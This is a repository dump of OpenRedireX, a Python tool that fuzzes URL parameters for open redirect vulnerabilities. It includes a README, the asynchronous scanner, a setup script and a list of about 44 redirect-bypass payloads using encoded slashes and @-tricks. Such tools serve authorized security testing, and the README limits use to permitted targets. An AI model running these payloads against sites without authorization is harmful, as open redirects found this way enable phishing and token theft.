├── LICENSE
├── README.md
├── openredirex.py
├── payloads.txt
├── setup.sh
└── static
└── openredirex.png
/LICENSE:
--------------------------------------------------------------------------------
1 | MIT License
2 |
3 | Copyright (c) 2023 Devansh Batham
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy
6 | of this software and associated documentation files (the "Software"), to deal
7 | in the Software without restriction, including without limitation the rights
8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9 | copies of the Software, and to permit persons to whom the Software is
10 | furnished to do so, subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21 | SOFTWARE.
22 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
2 |
3 | OpenRedireX
4 |
5 |
6 |
7 | A fuzzer for detecting open redirect vulnerabilities
8 |
9 |
10 |
11 | 🏗️ Install
12 | ⛏️ Usage
13 | 📚 Dependencies
14 |
15 |
16 |
17 | 
18 |
19 | # Install
20 |
21 | ```sh
22 | git clone https://github.com/devanshbatham/openredirex
23 | cd openredirex
24 | sudo chmod +x setup.sh
25 | ./setup.sh
26 | ```
27 |
28 | # Usage
29 |
30 | The script is executed from the command line and has the following usage options:
31 |
32 | ```sh
33 | openredirex [-p payloads] [-k keyword] [-c concurrency]
34 | ```
35 |
36 | - `-p`, `--payloads`: File containing a list of payloads. If not specified, a hardcoded list is used.
37 | - `-k`, `--keyword`: Keyword in URLs to replace with payload. Default is "FUZZ".
38 | - `-c`, `--concurrency`: Number of concurrent tasks. Default is 100.
39 |
40 | The script expects a list of URLs as input. Each URL should contain the keyword specified by the `-k` option. The script replaces the keyword with each of the payloads, and attempts to fetch the modified URL.
41 |
42 | Example usage:
43 |
44 | ```sh
45 | cat list_of_urls.txt | openredirex -p payloads.txt -k "FUZZ" -c 50
46 | ```
47 |
48 |
49 | List of URLs should look like below:
50 |
51 |
52 | ```
53 | cat list_of_urls.txt
54 |
55 | https://newsroom.example.com/logout?redirect=FUZZ
56 | https://auth.example.com/auth/realms/sonatype/protocol/openid-connect/logout?redirect_uri=test
57 | https://exmaple.com/php?test=baz&foo=bar
58 | ```
59 |
60 | This example reads URLs from the file `list_of_urls.txt`, replaces all the values of the parameters to `FUZZ` (if `--keyword` is not supplied), then again replaces the keyword `FUZZ` or the supplied keyword with each payload from `payloads.txt`, and fetches each URL concurrently, with a maximum of 50 concurrent tasks.
61 |
62 |
63 |
64 | # Dependencies
65 |
66 | The script uses the following libraries:
67 |
68 | - `argparse` for handling command-line arguments.
69 | - `aiohttp` for making HTTP requests.
70 | - `tqdm` for displaying progress.
71 | - `concurrent.futures` for handling concurrent tasks.
72 | - `asyncio` for managing asynchronous tasks.
73 |
74 | You need to install these dependencies before running the script. Most of them are part of the standard Python library. You can install `aiohttp` and `tqdm` using pip:
75 |
76 | ```sh
77 | pip install aiohttp tqdm
78 | ```
79 |
80 | You can use this script to check for open redirects in web applications. However, you should only use it on systems that you have been given explicit permission to test.
81 |
--------------------------------------------------------------------------------
/openredirex.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | import asyncio
4 | import aiohttp
5 | import argparse
6 | import sys
7 | import socket
8 | from aiohttp import ClientConnectorError, ClientOSError, ServerDisconnectedError, ServerTimeoutError, ServerConnectionError, TooManyRedirects
9 | from tqdm import tqdm
10 | import concurrent.futures
11 | from urllib.parse import urlparse, parse_qsl, urlencode, urlunparse
12 | from typing import List
13 |
14 |
15 | # Color constants
16 | LIGHT_GREEN = '\033[92m' # Light Green
17 | DARK_GREEN = '\033[32m' # Dark Green
18 | ENDC = '\033[0m' # Reset to default color
19 |
20 | redirect_payloads = [
21 | "//example.com@google.com/%2f..",
22 | "///google.com/%2f..",
23 | "///example.com@google.com/%2f..",
24 | "////google.com/%2f..",
25 | "https://google.com/%2f..",
26 | "https://example.com@google.com/%2f..",
27 | "/https://google.com/%2f..",
28 | "/https://example.com@google.com/%2f..",
29 | "//google.com/%2f%2e%2e",
30 | "//example.com@google.com/%2f%2e%2e",
31 | "///google.com/%2f%2e%2e",
32 | "///example.com@google.com/%2f%2e%2e",
33 | "////google.com/%2f%2e%2e",
34 | "/http://example.com",
35 | "/http:/example.com",
36 | "/https:/%5cexample.com/",
37 | "/https://%09/example.com",
38 | "/https://%5cexample.com",
39 | "/https:///example.com/%2e%2e",
40 | "/https:///example.com/%2f%2e%2e",
41 | "/https://example.com",
42 | "/https://example.com/",
43 | "/https://example.com/%2e%2e",
44 | "/https://example.com/%2e%2e%2f",
45 | "/https://example.com/%2f%2e%2e",
46 | "/https://example.com/%2f..",
47 | "/https://example.com//",
48 | "/https:example.com",
49 | "/%09/example.com",
50 | "/%2f%2fexample.com",
51 | "/%2f%5c%2f%67%6f%6f%67%6c%65%2e%63%6f%6d/",
52 | "/%5cexample.com",
53 | "/%68%74%74%70%3a%2f%2f%67%6f%6f%67%6c%65%2e%63%6f%6d",
54 | "/.example.com",
55 | "//%09/example.com",
56 | "//%5cexample.com",
57 | "///%09/example.com",
58 | "///%5cexample.com",
59 | "////%09/example.com",
60 | "////%5cexample.com",
61 | "/////example.com",
62 | "/////example.com/",
63 | "////\;@example.com",
64 | "////example.com/"
65 | ]
66 |
67 | async def load_payloads(payloads_file):
68 | if payloads_file:
69 | with open(payloads_file) as f:
70 | return [line.strip() for line in f]
71 | else:
72 | return redirect_payloads # Return hardcoded list if no file specified
73 |
74 |
75 | def fuzzify_url(url: str, keyword: str) -> str:
76 | # If the keyword is already in the url, return the url as is.
77 | if keyword in url:
78 | return url
79 |
80 | # Otherwise, replace all parameter values with the keyword.
81 | parsed_url = urlparse(url)
82 | params = parse_qsl(parsed_url.query)
83 | fuzzed_params = [(k, keyword) for k, _ in params]
84 | fuzzed_query = urlencode(fuzzed_params)
85 |
86 | # Construct the fuzzified url.
87 | fuzzed_url = urlunparse(
88 | [parsed_url.scheme, parsed_url.netloc, parsed_url.path, parsed_url.params, fuzzed_query, parsed_url.fragment])
89 |
90 | return fuzzed_url
91 |
92 |
93 | def load_urls() -> List[str]:
94 | urls = []
95 | for line in sys.stdin:
96 | url = line.strip()
97 | fuzzed_url = fuzzify_url(url, "FUZZ")
98 | urls.append(fuzzed_url)
99 | return urls
100 |
101 |
102 |
103 | async def fetch_url(session, url):
104 | try:
105 | async with session.head(url, allow_redirects=True, timeout=10) as response:
106 | return response
107 | except (ClientConnectorError, ClientOSError, ServerDisconnectedError, ServerTimeoutError, ServerConnectionError, TooManyRedirects, UnicodeDecodeError, socket.gaierror, asyncio.exceptions.TimeoutError):
108 | tqdm.write(f'[ERROR] Error fetching: {url}', file=sys.stderr)
109 | return None
110 |
111 | async def process_url(semaphore, session, url, payloads, keyword, pbar):
112 | async with semaphore:
113 | for payload in payloads:
114 | filled_url = url.replace(keyword, payload)
115 | response = await fetch_url(session, filled_url)
116 | if response and response.history:
117 | locations = " --> ".join(str(r.url) for r in response.history)
118 | # If the string contains "-->", print in green
119 | if "-->" in locations:
120 | tqdm.write(f'{DARK_GREEN}[FOUND]{ENDC} {LIGHT_GREEN}{filled_url} redirects to {locations}{ENDC}')
121 | else:
122 | tqdm.write(f'[INFO] {filled_url} redirects to {locations}')
123 | pbar.update()
124 |
125 | async def process_urls(semaphore, session, urls, payloads, keyword):
126 | with tqdm(total=len(urls) * len(payloads), ncols=70, desc='Processing', unit='url', position=0) as pbar:
127 | tasks = []
128 | for url in urls:
129 | tasks.append(process_url(semaphore, session, url, payloads, keyword, pbar))
130 | await asyncio.gather(*tasks, return_exceptions=True)
131 |
132 | async def main(args):
133 | payloads = await load_payloads(args.payloads)
134 | urls = load_urls()
135 | tqdm.write(f'[INFO] Processing {len(urls)} URLs with {len(payloads)} payloads.')
136 | async with aiohttp.ClientSession() as session:
137 | semaphore = asyncio.Semaphore(args.concurrency)
138 | await process_urls(semaphore, session, urls, payloads, args.keyword)
139 |
140 | if __name__ == "__main__":
141 | banner = """
142 | ____ ____ ___
143 | / __ \____ ___ ____ / __ \___ ____/ (_)_______ _ __
144 | / / / / __ \/ _ \/ __ \/ /_/ / _ \/ __ / / ___/ _ \| |/_/
145 | / /_/ / /_/ / __/ / / / _, _/ __/ /_/ / / / / __/> <
146 | \____/ .___/\___/_/ /_/_/ |_|\___/\__,_/_/_/ \___/_/|_|
147 | /_/
148 |
149 | """
150 | print(banner)
151 | parser = argparse.ArgumentParser(description="OpenRedireX : A fuzzer for detecting open redirect vulnerabilities")
152 | parser.add_argument('-p', '--payloads', help='file of payloads', required=False)
153 | parser.add_argument('-k', '--keyword', help='keyword in urls to replace with payload (default is FUZZ)', default="FUZZ")
154 | parser.add_argument('-c', '--concurrency', help='number of concurrent tasks (default is 100)', type=int, default=100)
155 | args = parser.parse_args()
156 | try:
157 | asyncio.run(main(args))
158 | except KeyboardInterrupt:
159 | print("\nInterrupted by user. Exiting...")
160 | sys.exit(0)
161 |
--------------------------------------------------------------------------------
/payloads.txt:
--------------------------------------------------------------------------------
1 | //example.com@google.com/%2f..
2 | ///google.com/%2f..
3 | ///example.com@google.com/%2f..
4 | ////google.com/%2f..
5 | https://google.com/%2f..
6 | https://example.com@google.com/%2f..
7 | /https://google.com/%2f..
8 | /https://example.com@google.com/%2f..
9 | //google.com/%2f%2e%2e
10 | //example.com@google.com/%2f%2e%2e
11 | ///google.com/%2f%2e%2e
12 | ///example.com@google.com/%2f%2e%2e
13 | ////google.com/%2f%2e%2e
14 | /http://example.com
15 | /http:/example.com
16 | /https:/%5cexample.com/
17 | /https://%09/example.com
18 | /https://%5cexample.com
19 | /https:///example.com/%2e%2e
20 | /https:///example.com/%2f%2e%2e
21 | /https://example.com
22 | /https://example.com/
23 | /https://example.com/%2e%2e
24 | /https://example.com/%2e%2e%2f
25 | /https://example.com/%2f%2e%2e
26 | /https://example.com/%2f..
27 | /https://example.com//
28 | /https:example.com
29 | /%09/example.com
30 | /%2f%2fexample.com
31 | /%2f%5c%2f%67%6f%6f%67%6c%65%2e%63%6f%6d/
32 | /%5cexample.com
33 | /%68%74%74%70%3a%2f%2f%67%6f%6f%67%6c%65%2e%63%6f%6d
34 | /.example.com
35 | //%09/example.com
36 | //%5cexample.com
37 | ///%09/example.com
38 | ///%5cexample.com
39 | ////%09/example.com
40 | ////%5cexample.com
41 | /////example.com
42 | /////example.com/
43 | ////\;@example.com
44 | ////example.com/
--------------------------------------------------------------------------------
/setup.sh:
--------------------------------------------------------------------------------
1 | #!/bin/bash
2 |
3 | # Rename the openredirex.py file to openredirex
4 | mv openredirex.py openredirex
5 |
6 |
7 | # Move the openredirex file to /usr/local/bin
8 | sudo mv openredirex /usr/local/bin/
9 |
10 | # Make the openredirex file executable
11 | sudo chmod +x /usr/local/bin/openredirex
12 |
13 | # Remove the openredirex.pyc file if it exists
14 | if [ -f openredirex.pyc ]; then
15 | rm openredirex.pyc
16 | fi
17 |
18 | echo "openredirex has been installed successfully!"
--------------------------------------------------------------------------------
/static/openredirex.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/devanshbatham/OpenRedireX/383aea012eed8f3dce2b285d6df73fe5512fde03/static/openredirex.png
--------------------------------------------------------------------------------